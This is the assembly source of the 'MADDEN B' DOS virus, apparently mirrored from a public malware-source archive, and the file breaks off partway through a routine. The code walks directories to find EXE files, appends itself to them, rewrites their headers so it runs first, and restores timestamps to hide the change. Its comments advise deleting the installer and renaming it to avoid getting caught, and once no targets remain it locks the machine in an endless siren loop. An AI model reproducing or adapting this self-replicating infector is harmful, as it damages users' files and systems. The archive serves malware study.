mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
4b9382ddbc
push
772 lines
32 KiB
NASM
772 lines
32 KiB
NASM
;The MADDEN B virus is an EXE file infector which can jump from directory to
|
|
;directory and disk to disk. It attaches itself to the end of a file and
|
|
;modifies the EXE file header so that it gets control first, before the host
|
|
;program. When it is done doing its job, it passes control to the host program,
|
|
;so that the host executes without a hint that the virus is there.
|
|
|
|
|
|
.SEQ ;segments must appear in sequential order
|
|
;to simulate conditions in actual active virus
|
|
|
|
|
|
;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped together
|
|
|
|
;HOSTSEG program code segment. The virus gains control before this routine and
|
|
;attaches itself to another EXE file. As such, the host program for this
|
|
;installer simply tries to delete itself off of disk and terminates. That is
|
|
;worthwhile if you want to infect a system with the virus without getting
|
|
;caught. Just execute the program that infects, and it disappears without a
|
|
;trace. You might want to name the program something more innocuous, though.
|
|
;MADDEN B also locks the pc into a 'siren' warble when it runs out
|
|
;of files to infect. MADDEN, included in this archive plays a fast country
|
|
;song. (MADDEN will assemble to an .file using a86, then link to produce
|
|
;infected .exe form)
|
|
|
|
HOSTSEG SEGMENT BYTE
|
|
ASSUME CS:HOSTSEG,SS:HSTACK
|
|
|
|
PGMSTR DB 'MADDENB.EXE',0
|
|
|
|
HOST:
|
|
mov ax,cs ;we want DS=CS here
|
|
mov ds,ax
|
|
mov dx,OFFSET PGMSTR
|
|
mov ah,41H
|
|
int 21H ;delete this exe file
|
|
mov ah,4CH
|
|
mov al,0
|
|
int 21H ;terminate normally
|
|
HOSTSEG ENDS
|
|
|
|
|
|
;Host program stack segment
|
|
|
|
HSTACK SEGMENT PARA STACK
|
|
db 100H dup (?) ;100 bytes long
|
|
HSTACK ENDS
|
|
|
|
;------------------------------------------------------------------------
|
|
;This is the virus itself
|
|
|
|
STACKSIZE EQU 100H ;size of stack for the virus
|
|
NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table
|
|
|
|
;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together
|
|
|
|
;MADDEN Virus code segment. This gains control first, before the host. As this
|
|
;ASM file is layed out, this program will look exactly like a simple program
|
|
;that was infected by the virus.
|
|
|
|
VSEG SEGMENT PARA
|
|
ASSUME CS:VSEG,DS:VSEG,SS:VSTACK
|
|
|
|
;data storage area comes before any code
|
|
VIRUSID DW 0C8AAH ;identifies virus
|
|
OLDDTA DD 0 ;old DTA segment and offset
|
|
DTA1 DB 2BH dup (?) ;new disk transfer area
|
|
DTA2 DB 56H dup (?) ;dta for directory finds (2 deep)
|
|
EXE_HDR DB 1CH dup (?) ;buffer for EXE file header
|
|
EXEFILE DB '\*.EXE',0 ;search string for an exe file
|
|
ALLFILE DB '\*.*',0 ;search string for any file
|
|
USEFILE DB 78 dup (?) ;area to put valid file path
|
|
LEVEL DB 0 ;depth to search directories for a file
|
|
HANDLE DW 0 ;file handle
|
|
FATTR DB 0 ;old file attribute storage area
|
|
FTIME DW 0 ;old file time stamp storage area
|
|
FDATE DW 0 ;old file date stamp storage area
|
|
FSIZE DD 0 ;file size storage area
|
|
VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there
|
|
VCODE DB 1 ;identifies this version
|
|
COUNT1 DW 8 ;delay counts used by 'siren' routine
|
|
COUNT2 DW 3
|
|
COUNT3 DW 20
|
|
COUNT4 DW 10
|
|
;--------------------------------------------------------------------------
|
|
;MADDEN B virus main routine starts here
|
|
VIRUS:
|
|
push ax ;save startup info in ax
|
|
mov ax,cs
|
|
mov ds,ax ;set up DS=CS for the virus
|
|
mov ax,es ;get PSP Seg
|
|
mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it
|
|
call SHOULDRUN ;run only when certain conditions met signalled by z set
|
|
jnz REL1 ;conditions aren't met, go execute host program
|
|
call SETSR ;modify SHOULDRUN procedure to activate conditions
|
|
call NEW_DTA ;set up a new DTA location
|
|
call FIND_FILE ;get an exe file to attack
|
|
jnz SIREN ;returned nz - no valid files left, siren time!
|
|
call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode
|
|
call INFECT ;move program code to file we found to attack
|
|
call REST_ATTRIBUTE ;restore the original file attributes and close the file
|
|
FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup
|
|
pop ax ;restore startup value of ax
|
|
REL1: ;relocatable marker for host stack segment
|
|
mov bx,HSTACK ;set up host program stack segment (ax=segment)
|
|
cli ;interrupts off while changing stack
|
|
mov ss,bx
|
|
REL1A: ;marker for host stack pointer
|
|
mov sp,OFFSET HSTACK
|
|
mov es,WORD PTR [OLDDTA+2] ;set up ES correctly
|
|
mov ds,WORD PTR [OLDDTA+2] ;and DS
|
|
sti ;interrupts back on
|
|
REL2: ;relocatable marker for host code segment
|
|
jmp FAR PTR HOST ;begin execution of host program
|
|
|
|
;--------------------------------------------------------------------------
|
|
;First Level - Find a file which passes FILE_OK
|
|
;
|
|
;This routine does a complex directory search to find an EXE file in the
|
|
;current directory, one of its subdirectories, or the root directory or one
|
|
;of its subdirectories, to find a file for which FILE_OK returns with C reset.
|
|
;If you want to change the depth of the search, make sure to allocate enough
|
|
;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
|
|
;since the recursive FINDBR uses a different DTA area for the search (see DOS
|
|
;functions 4EH and 4FH) on each level.
|
|
;
|
|
FIND_FILE:
|
|
mov al,'\' ;set up current directory path in USEFILE
|
|
mov BYTE PTR [USEFILE],al
|
|
mov si,OFFSET USEFILE+1
|
|
xor dl,dl
|
|
mov ah,47H
|
|
int 21H ;get current dir, USEFILE= \dir
|
|
cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root
|
|
jnz FF2 ;not the root
|
|
xor al,al ;make correction for root directory,
|
|
mov BYTE PTR [USEFILE],al ;by setting USEFILE = ''
|
|
FF2: mov al,2
|
|
mov [LEVEL],al ;search 2 subdirs deep
|
|
call FINDBR ;attempt to locate a valid file
|
|
jz FF3 ;found one - exit
|
|
xor al,al ;nope - try the root directory
|
|
mov BYTE PTR [USEFILE],al ;by setting USEFILE= ''
|
|
inc al ;al=1
|
|
mov [LEVEL],al ;search one subdir deep
|
|
call FINDBR ;attempt to find file
|
|
FF3:
|
|
ret ;exit with z flag set by FINDBR to indicate success/failure
|
|
|
|
;***************************************************************************
|
|
;This routine enables MADDEN B virus to sound a siren
|
|
;when it can't find a file to infect
|
|
;**************************************************************************
|
|
SIREN:
|
|
cli ;no interrupts
|
|
mov bp,15 ;we want to do hole thing 15 times
|
|
mov al,10110110xb ;set up channel 2
|
|
out 43h,al ;send it to port
|
|
AGIN: mov bx,500 ;start frequency high
|
|
BACKERX:mov ax,bx ;place it in (ax)
|
|
out 42h,al ;send LSB first
|
|
mov al,ah ;move MSB into al
|
|
out 42h,al ;send it next
|
|
in al,61h ;get value from port
|
|
or al,00000011xb ;ORing it will turn on speaker
|
|
out 61h,al ;send number
|
|
mov cx,COUNT1 ;number of delay loops
|
|
LOOPERX:loop LOOPERX ;so we can hear sound
|
|
inc bx ;increment (bx) lowers frequency pitch
|
|
cmp bx,4000 ;have we reached 4000
|
|
jnz BACKERX ;if not do again
|
|
BACKERY:mov ax,bx ;if not put (bx) in (ax)
|
|
out 42h,al ;send LSB to port
|
|
mov al,ah ;place MSB in al
|
|
out 42h,al ;send it now
|
|
in al,61h ;get value from port
|
|
or al,00000011xb ;lets OR it
|
|
out 61h,al ;time to turn on speaker
|
|
mov cx,COUNT2 ;loop count
|
|
LOOPERY:loop LOOPERY ;delay so we can hear sound
|
|
dec bx ;decrementing (bx) rises frequency pitch
|
|
cmp bx,500 ;have we reach 500
|
|
jnz BACKERY ;if not go back
|
|
mov si,COUNT3 ;place longer delay in (si)
|
|
mov di,COUNT4 ;place longer delay in (di)
|
|
push si ;push it on the stack
|
|
push di ;push it on the stack
|
|
mov si,COUNT1 ;place first delay in (si)
|
|
mov di,COUNT2 ;place second delay in (di)
|
|
mov COUNT3,si ;save 1st in COUNT3 for next exchange
|
|
mov COUNT4,di ;save 2nd in COUNT4 for next exchange
|
|
pop di ;pop longer delay off stack
|
|
pop si ;pop longer delay off stack
|
|
mov COUNT2,di ;place it in the second
|
|
mov COUNT1,si ;place it in the first
|
|
dec bp ;decrement repeat count
|
|
jnz AGIN ;if not = 0 do hole thing again
|
|
in al,61h ;we be done
|
|
and al,11111100xb ;this number will turn speaker off
|
|
out 61h,al ;send it
|
|
sti ;enable interrupts
|
|
jmp SIREN
|
|
|
|
;--------------------------------------------------------------------------
|
|
;SEARCH FUNCTION
|
|
;---------------------------------------------------------------------------
|
|
;Second Level - Find in a branch
|
|
;
|
|
;This function searches the directory specified in USEFILE for EXE files.
|
|
;after searching the specified directory, it searches subdirectories to the
|
|
;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this
|
|
;routine exits with Z set and leaves the file and path in USEFILE
|
|
;
|
|
FINDBR:
|
|
call FINDEXE ;search current dir for EXE first
|
|
jnc FBE3 ;found it - exit
|
|
cmp [LEVEL],0 ;no - do we want to go another directory deeper?
|
|
jz FBE1 ;no - exit
|
|
dec [LEVEL] ;yes - decrement LEVEL and continue
|
|
mov di,OFFSET USEFILE ;'\curr_dir' is here
|
|
mov si,OFFSET ALLFILE ;'\*.*' is here
|
|
call CONCAT ;get '\curr_dir\*.*' in USEFILE
|
|
inc di
|
|
push di ;store pointer to first *
|
|
call FIRSTDIR ;get first subdirectory
|
|
jnz FBE ;couldn't find it, so quit
|
|
FB1: ;otherwise, check it out
|
|
pop di ;strip \*.* off of USEFILE
|
|
xor al,al
|
|
stosb
|
|
mov di,OFFSET USEFILE
|
|
mov bx,OFFSET DTA2+1EH
|
|
mov al,[LEVEL]
|
|
mov dl,2BH ;compute correct DTA location for subdir name
|
|
mul dl ;which depends on the depth we're at in the search
|
|
add bx,ax ;bx points to directory name
|
|
mov si,bx
|
|
call CONCAT ;'\curr_dir\sub_dir' put in USEFILE
|
|
push di ;save position of first letter in sub_dir name
|
|
call FINDBR ;scan the subdirectory and its subdirectories (recursive)
|
|
jz FBE2 ;if successful, exit
|
|
call NEXTDIR ;get next subdirectory in this directory
|
|
jz FB1 ;go check it if search successful
|
|
FBE: ;else exit, NZ set, cleaned up
|
|
inc [LEVEL] ;increment the level counter before exit
|
|
pop di ;strip any path or file spec off of original
|
|
xor al,al ;directory path
|
|
stosb
|
|
FBE1: mov al,1 ;return with NZ set
|
|
or al,al
|
|
ret
|
|
|
|
FBE2: pop di ;successful exit, pull this off the stack
|
|
FBE3: xor al,al ;and set Z
|
|
ret ;exit
|
|
|
|
;--------------------------------------------------------------------------
|
|
;Third Level - Part A - Find an EXE file
|
|
;
|
|
;This function searches the path in USEFILE for an EXE file which passes
|
|
;the test FILE_OK. This routine will return the full path of the EXE file
|
|
;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return
|
|
;with the c flag set. It will search a whole directory before giving up.
|
|
;
|
|
FINDEXE:
|
|
mov dx,OFFSET DTA1 ;set new DTA for EXE search
|
|
mov ah,1AH
|
|
int 21H
|
|
mov di,OFFSET USEFILE
|
|
mov si,OFFSET EXEFILE
|
|
call CONCAT ;set up USEFILE with '\dir\*.EXE'
|
|
push di ;save position of '\' before '*.EXE'
|
|
mov dx,OFFSET USEFILE
|
|
mov cx,3FH ;search first for any file
|
|
mov ah,4EH
|
|
int 21H
|
|
NEXTEXE:
|
|
or al,al ;is DOS return OK?
|
|
jnz FEC ;no - quit with C set
|
|
pop di
|
|
inc di
|
|
stosb ;truncate '\dir\*.EXE' to '\dir\'
|
|
mov di,OFFSET USEFILE
|
|
mov si,OFFSET DTA1+1EH
|
|
call CONCAT ;setup file name '\dir\filename.exe'
|
|
dec di
|
|
push di
|
|
call FILE_OK ;yes - is this a good file to use?
|
|
jnc FENC ;yes - valid file found - exit with c reset
|
|
mov ah,4FH
|
|
int 21H ;do find next
|
|
jmp SHORT NEXTEXE ;and go test it for validity
|
|
|
|
FEC: ;no valid file found, return with C set
|
|
pop di
|
|
mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
|
|
stc
|
|
ret
|
|
FENC: ;valid file found, return with NC
|
|
pop di
|
|
ret
|
|
|
|
|
|
;--------------------------------------------------------------------------
|
|
;Third Level - Part B - Find a subdirectory
|
|
;
|
|
;This function searches the file path in USEFILE for subdirectories, excluding
|
|
;the subdirectory header entries. If one is found, it returns with Z set, and
|
|
;if not, it returns with NZ set.
|
|
;There are two entry points here, FIRSTDIR, which does the search first, and
|
|
;NEXTDIR, which does the search next.
|
|
;
|
|
FIRSTDIR:
|
|
call GET_DTA ;get proper DTA address in dx (calculated from LEVEL)
|
|
push dx ;save it
|
|
mov ah,1AH ;set DTA
|
|
int 21H
|
|
mov dx,OFFSET USEFILE
|
|
mov cx,10H ;search for a directory
|
|
mov ah,4EH ;do search first function
|
|
int 21H
|
|
NEXTD1:
|
|
pop bx ;get pointer to search table (DTA)
|
|
or al,al ;successful search?
|
|
jnz NEXTD3 ;no, quit with NZ set
|
|
test BYTE PTR [bx+15H],10H ;is this a directory?
|
|
jz NEXTDIR ;no, find another
|
|
cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header?
|
|
jne NEXTD2 ;no - valid directory, exit, setting Z flag
|
|
;else it was dir header entry, so fall through to next
|
|
NEXTDIR: ;second entry point for search next
|
|
call GET_DTA ;get proper DTA address again - may not be set up
|
|
push dx
|
|
mov ah,1AH ;set DTA
|
|
int 21H
|
|
mov ah,4FH
|
|
int 21H ;do find next
|
|
jmp SHORT NEXTD1 ;and loop to check the validity of the return
|
|
|
|
NEXTD2:
|
|
xor al,al ;successful exit, set Z flag
|
|
NEXTD3:
|
|
ret ;exit routine
|
|
|
|
;--------------------------------------------------------------------------
|
|
;Return the DTA address associated to LEVEL in dx. This is simply given by
|
|
;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
|
|
;in its own DTA, since a search at a lower level occurs in the middle of the
|
|
;higher level search, and we don't want the higher level being ruined by
|
|
;corrupted data.
|
|
;
|
|
GET_DTA:
|
|
mov dx,OFFSET DTA2
|
|
mov al,2BH
|
|
mul [LEVEL]
|
|
add dx,ax ;return with dx= proper dta offset
|
|
ret
|
|
|
|
;--------------------------------------------------------------------------
|
|
;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
|
|
;string at ES:DI. Return ES:DI pointing to the end of the first string in the
|
|
;destination (or the first character of the second string, after moved).
|
|
;
|
|
CONCAT:
|
|
mov al,byte ptr es:[di] ;find the end of string 1
|
|
inc di
|
|
or al,al
|
|
jnz CONCAT
|
|
dec di ;di points to the null at the end
|
|
push di ;save it to return to the caller
|
|
CONCAT2:
|
|
cld
|
|
lodsb ;move second string to end of first
|
|
stosb
|
|
or al,al
|
|
jnz CONCAT2
|
|
pop di ;and restore di to point to end of string 1
|
|
ret
|
|
|
|
|
|
;--------------------------------------------------------------------------
|
|
;Function to determine whether the EXE file specified in USEFILE is useable.
|
|
;if so return nc, else return c
|
|
;What makes an EXE file useable?:
|
|
; a) The signature field in the EXE header must be 'MZ'. (These
|
|
; are the first two bytes in the file.)
|
|
; b) The Overlay Number field in the EXE header must be zero.
|
|
; c) There must be room in the relocatable table for NUMRELS
|
|
; more relocatables without enlarging it.
|
|
; d) The word VIRUSID must not appear in the 2 bytes just before
|
|
; the initial CS:0000 of the test file. If it does, the virus
|
|
; is probably already in that file, so we skip it.
|
|
;
|
|
FILE_OK:
|
|
call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR
|
|
jc OK_END ;error in reading the file, so quit
|
|
call CHECK_SIG_OVERLAY ;is the overlay number zero?
|
|
jc OK_END ;no - exit with c set
|
|
call REL_ROOM ;is there room in the relocatable table?
|
|
jc OK_END ;no - exit
|
|
call IS_ID_THERE ;is id at CS:0000?
|
|
OK_END: ret ;return with c flag set properly
|
|
|
|
;--------------------------------------------------------------------------
|
|
;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
|
|
;number is anything but zero.
|
|
CHECK_SIG_OVERLAY:
|
|
mov al,'M' ;check the signature first
|
|
mov ah,'Z'
|
|
cmp ax,WORD PTR [EXE_HDR]
|
|
jz CSO_1 ;jump if OK
|
|
stc ;else set carry and exit
|
|
ret
|
|
CSO_1: xor ax,ax
|
|
sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
|
|
ret ;c is set if it's anything but 0
|
|
|
|
;--------------------------------------------------------------------------
|
|
;This function reads the 28 byte EXE file header for the file named in USEFILE.
|
|
;It puts the header in EXE_HDR, and returns c set if unsuccessful.
|
|
;
|
|
GET_EXE_HEADER:
|
|
mov dx,OFFSET USEFILE
|
|
mov ax,3D02H ;r/w access open file
|
|
int 21H
|
|
jc RE_RET ;error opening - C set - quit without closing
|
|
mov [HANDLE],ax ;else save file handle
|
|
mov bx,ax ;handle to bx
|
|
mov cx,1CH ;read 28 byte EXE file header
|
|
mov dx,OFFSET EXE_HDR ;into this buffer
|
|
mov ah,3FH
|
|
int 21H
|
|
RE_RET: ret ;return with c set properly
|
|
|
|
;--------------------------------------------------------------------------
|
|
;This function determines if there are at least NUMRELS openings in the
|
|
;current relocatable table in USEFILE. If there are, it returns with
|
|
;carry reset, otherwise it returns with carry set. The computation
|
|
;this routine does is to compare whether
|
|
; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
|
|
;is >= than 4 * NUMRELS. If it is, then there is enough room
|
|
;
|
|
REL_ROOM:
|
|
mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
|
|
add ax,ax
|
|
add ax,ax
|
|
sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables
|
|
add ax,ax
|
|
add ax,ax
|
|
sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
|
|
cmp ax,4*NUMRELS ;enough room to put relocatables in?
|
|
RR_RET: ret ;exit with carry set properly
|
|
|
|
|
|
;--------------------------------------------------------------------------
|
|
;This function determines whether the word at the initial CS:0000 in USEFILE
|
|
;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
|
|
;it returns c reset.
|
|
;
|
|
IS_ID_THERE:
|
|
mov ax,WORD PTR [EXE_HDR+22] ;Initial CS
|
|
add ax,WORD PTR [EXE_HDR+8] ;Header size
|
|
mov dx,16
|
|
mul dx
|
|
mov cx,dx
|
|
mov dx,ax ;cxdx = position to look for VIRUSID in file
|
|
mov bx,[HANDLE]
|
|
mov ax,4200H ;set file pointer, relative to beginning
|
|
int 21H
|
|
mov ah,3FH
|
|
mov bx,[HANDLE]
|
|
mov dx,OFFSET VIDC
|
|
mov cx,2 ;read 2 bytes into VIDC
|
|
int 21H
|
|
jc II_RET ;couldn't read - bad file - report as though ID is there so we dont do any more to this file
|
|
mov ax,[VIDC]
|
|
cmp ax,[VIRUSID] ;is it the VIRUSID?
|
|
clc
|
|
jnz II_RET ;if not, then virus is not already in this file
|
|
stc ;else it is probably there already
|
|
II_RET: ret
|
|
|
|
|
|
;--------------------------------------------------------------------------
|
|
;This routine makes sure file end is at paragraph boundary, so the virus
|
|
;can be attached with a valid CS. Assumes file pointer is at end of file.
|
|
SETBDY:
|
|
mov al,BYTE PTR [FSIZE]
|
|
and al,0FH ;see if we have a paragraph boundary (header is always even # of paragraphs)
|
|
jz SB_E ;all set - exit
|
|
mov cx,10H ;no - write any old bytes to even it up
|
|
sub cl,al ;number of bytes to write in cx
|
|
mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just garbage there)
|
|
add WORD PTR [FSIZE],cx ;update FSIZE
|
|
adc WORD PTR [FSIZE+2],0
|
|
mov bx,[HANDLE]
|
|
mov ah,40H ;DOS write function
|
|
int 21H
|
|
SB_E: ret
|
|
|
|
;--------------------------------------------------------------------------
|
|
;This routine moves the virus (this program) to the end of the EXE file
|
|
;Basically, it just copies everything here to there, and then goes and
|
|
;adjusts the EXE file header and two relocatables in the program, so that
|
|
;it will work in the new environment. It also makes sure the virus starts
|
|
;on a paragraph boundary, and adds how many bytes are necessary to do that.
|
|
;
|
|
INFECT:
|
|
mov cx,WORD PTR [FSIZE+2]
|
|
mov dx,WORD PTR [FSIZE]
|
|
mov bx,[HANDLE]
|
|
mov ax,4200H ;set file pointer, relative to beginning
|
|
int 21H ;go to end of file
|
|
call SETBDY ;lengthen to a paragraph boundary if necessary
|
|
mov cx,OFFSET FINAL ;last byte of code
|
|
xor dx,dx ;first byte of code, DS:DX
|
|
mov bx,[HANDLE] ;move virus code to end of file being attacked with
|
|
mov ah,40H ;DOS write function
|
|
int 21H
|
|
mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS)
|
|
mov cx,WORD PTR [FSIZE+2]
|
|
mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file
|
|
inc bx
|
|
add dx,bx
|
|
mov bx,0
|
|
adc cx,bx ;cx:dx is that number
|
|
mov bx,[HANDLE]
|
|
mov ax,4200H ;set file pointer to 1st relocatable
|
|
int 21H
|
|
mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program
|
|
mov bx,[HANDLE] ;from the EXE header
|
|
mov cx,2
|
|
mov ah,40H ;and write it to relocatable REL1+1
|
|
int 21H
|
|
mov dx,WORD PTR [FSIZE]
|
|
mov cx,WORD PTR [FSIZE+2]
|
|
mov bx,OFFSET REL1A ;put in correct old SP from EXE header
|
|
inc bx ;at FSIZE+REL1A+1
|
|
add dx,bx
|
|
mov bx,0
|
|
adc cx,bx ;cx:dx points to FSIZE+REL1A+1
|
|
mov bx,[HANDLE]
|
|
mov ax,4200H ;set file pointer to place to write SP to
|
|
int 21H
|
|
mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program
|
|
mov bx,[HANDLE] ;from EXE header
|
|
mov cx,2
|
|
mov ah,40H ;and write it where it belongs
|
|
int 21H
|
|
mov dx,WORD PTR [FSIZE]
|
|
mov cx,WORD PTR [FSIZE+2]
|
|
mov bx,OFFSET REL2 ;put in correct old CS:IP in program
|
|
add bx,1 ;at FSIZE+REL2+1 on disk
|
|
add dx,bx
|
|
mov bx,0
|
|
adc cx,bx ;cx:dx points to FSIZE+REL2+1
|
|
mov bx,[HANDLE]
|
|
mov ax,4200H ;set file pointer relavtive to start of file
|
|
int 21H
|
|
mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header
|
|
mov bx,[HANDLE]
|
|
mov cx,4
|
|
mov ah,40H ;and write 4 bytes to FSIZE+REL2+1
|
|
int 21H
|
|
;done writing relocatable vectors
|
|
;so now adjust the EXE header values
|
|
xor cx,cx
|
|
xor dx,dx
|
|
mov bx,[HANDLE]
|
|
mov ax,4200H ;set file pointer to start of file
|
|
int 21H
|
|
mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS)
|
|
mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in paragraphs)
|
|
shr ax,cl
|
|
mov bx,WORD PTR [FSIZE+2]
|
|
and bl,0FH
|
|
mov cl,4
|
|
shl bl,cl
|
|
add ah,bl
|
|
sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
|
|
mov WORD PTR [EXE_HDR+22],ax;and save as initial CS
|
|
mov bx,OFFSET FINAL ;compute new initial SS
|
|
add bx,10H ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16)
|
|
mov cl,4
|
|
shr bx,cl
|
|
add ax,bx
|
|
mov WORD PTR [EXE_HDR+14],ax ;and save it
|
|
mov ax,OFFSET VIRUS ;get initial IP
|
|
mov WORD PTR [EXE_HDR+20],ax ;and save it
|
|
mov ax,STACKSIZE ;get initial SP
|
|
mov WORD PTR [EXE_HDR+16],ax ;and save it
|
|
mov dx,WORD PTR [FSIZE+2]
|
|
mov ax,WORD PTR [FSIZE] ;calculate new file size
|
|
mov bx,OFFSET FINAL
|
|
add ax,bx
|
|
xor bx,bx
|
|
adc dx,bx ;put it in ax:dx
|
|
add ax,200H ;and set up the new page count
|
|
adc dx,bx ;page ct= (ax:dx+512)/512
|
|
push ax
|
|
mov cl,9
|
|
shr ax,cl
|
|
mov cl,7
|
|
shl dx,cl
|
|
add ax,dx
|
|
mov WORD PTR [EXE_HDR+4],ax ;and save it here
|
|
pop ax
|
|
and ax,1FFH ;now calculate last page size
|
|
mov WORD PTR [EXE_HDR+2],ax ;and put it here
|
|
mov ax,NUMRELS ;adjust relocatables counter
|
|
add WORD PTR [EXE_HDR+6],ax
|
|
mov cx,1CH ;and save data at start of file
|
|
mov dx,OFFSET EXE_HDR
|
|
mov bx,[HANDLE]
|
|
mov ah,40H ;DOS write function
|
|
int 21H
|
|
mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
|
|
dec ax ;in order to calculate location of
|
|
dec ax ;where to add relocatables
|
|
mov bx,4 ;Location= (No in table-2)*4+Table Offset
|
|
mul bx
|
|
add ax,WORD PTR [EXE_HDR+24];table offset
|
|
mov bx,0
|
|
adc dx,bx ;dx:ax=end of old table in file
|
|
mov cx,dx
|
|
mov dx,ax
|
|
mov bx,[HANDLE]
|
|
mov ax,4200H ;set file pointer to table end
|
|
int 21H
|
|
mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of REL1
|
|
mov bx,OFFSET REL1
|
|
inc bx ;offset of REL1
|
|
mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to
|
|
mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
|
|
mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2
|
|
mov bx,OFFSET REL2
|
|
add bx,3 ;offset of REL2
|
|
mov WORD PTR [EXE_HDR+4],bx ;write it to buffer
|
|
mov WORD PTR [EXE_HDR+6],ax
|
|
mov cx,8 ;and then write 8 bytes of data in file
|
|
mov dx,OFFSET EXE_HDR
|
|
mov bx,[HANDLE]
|
|
mov ah,40H ;DOS write function
|
|
int 21H
|
|
ret ;that's it, infection is complete!
|
|
|
|
;--------------------------------------------------------------------------
|
|
;This routine determines whether the reproduction code should be executed.
|
|
;If it returns Z, the reproduction code is executed, otherwise it is not.
|
|
;Currently, it only executes if the system time variable is a multiple of
|
|
;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
|
|
;executions of the program. TIMECT should be 2^n-1
|
|
;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
|
|
;is run. This makes SHOULDRUN return Z for sure the first time, so it
|
|
;definitely runs when this loader program is run, but after that, the time must
|
|
;be an even multiple of TIMECT+1.
|
|
;
|
|
TIMECT EQU 0 ;Determines how often to reproduce (1/64 here)
|
|
;
|
|
SHOULDRUN:
|
|
xor ah,ah ;zero ax to start, set z flag
|
|
SR1: ret ;this gets replaced by NOP when program runs
|
|
int 1AH
|
|
and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks?
|
|
ret ;return with z flag set if it is, else nz set
|
|
|
|
|
|
;--------------------------------------------------------------------------
|
|
;SETSR modifies SHOULDRUN so that the full procedure gets run
|
|
;it is redundant after the initial load
|
|
SETSR:
|
|
mov al,90H ;NOP code
|
|
mov BYTE PTR SR1,al ;put it in place of RET above
|
|
ret ;and return
|
|
|
|
;--------------------------------------------------------------------------
|
|
;This routine sets up the new DTA location at DTA1, and saves the location of
|
|
;the initial DTA in the variable OLDDTA.
|
|
NEW_DTA:
|
|
mov ah,2FH ;get current DTA in ES:BX
|
|
int 21H
|
|
mov WORD PTR [OLDDTA],bx ;save it here
|
|
mov ax,es
|
|
mov WORD PTR [OLDDTA+2],ax
|
|
mov ax,cs
|
|
mov es,ax ;set up ES
|
|
mov dx,OFFSET DTA1 ;set new DTA offset
|
|
mov ah,1AH
|
|
int 21H ;and tell DOS where we want it
|
|
ret
|
|
|
|
;--------------------------------------------------------------------------
|
|
;This routine reverses the action of NEW_DTA and restores the DTA to its
|
|
;original value.
|
|
RESTORE_DTA:
|
|
mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs
|
|
mov ax,WORD PTR [OLDDTA+2]
|
|
mov ds,ax
|
|
mov ah,1AH
|
|
int 21H ;and tell DOS where to put it
|
|
mov ax,cs ;restore ds before exiting
|
|
mov ds,ax
|
|
ret
|
|
|
|
;--------------------------------------------------------------------------
|
|
;This routine saves the original file attribute in FATTR, the file date and
|
|
;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
|
|
;file attribute to read/write, and leaves the file opened in read/write
|
|
;mode (since it has to open the file to get the date and size), with the handle
|
|
;it was opened under in HANDLE. The file path and name is in USEFILE.
|
|
SAVE_ATTRIBUTE:
|
|
mov ah,43H ;get file attr
|
|
mov al,0
|
|
mov dx,OFFSET USEFILE
|
|
int 21H
|
|
mov [FATTR],cl ;save it here
|
|
mov ah,43H ;now set file attr to r/w
|
|
mov al,1
|
|
mov dx,OFFSET USEFILE
|
|
mov cl,0
|
|
int 21H
|
|
mov dx,OFFSET USEFILE
|
|
mov al,2 ;now that we know it's r/w
|
|
mov ah,3DH ;we can r/w access open file
|
|
int 21H
|
|
mov [HANDLE],ax ;save file handle here
|
|
mov ah,57H ;and get the file date and time
|
|
xor al,al
|
|
mov bx,[HANDLE]
|
|
int 21H
|
|
mov [FTIME],cx ;and save it here
|
|
mov [FDATE],dx ;and here
|
|
mov ax,WORD PTR [DTA1+28] ;file size was set up here by
|
|
mov WORD PTR [FSIZE+2],ax ;search routine
|
|
mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE
|
|
mov WORD PTR [FSIZE],ax
|
|
ret
|
|
|
|
;--------------------------------------------------------------------------
|
|
;Restore file attribute, and date and time of the file as they were before
|
|
;it was infected. This also closes the file
|
|
REST_ATTRIBUTE:
|
|
mov dx,[FDATE] ;get old date and time
|
|
mov cx,[FTIME]
|
|
